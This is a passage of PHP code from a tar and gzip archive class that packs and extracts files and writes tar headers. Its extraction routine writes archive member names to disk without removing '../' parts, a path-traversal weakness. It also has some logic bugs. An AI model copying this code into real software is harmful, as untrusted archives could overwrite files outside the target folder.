if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>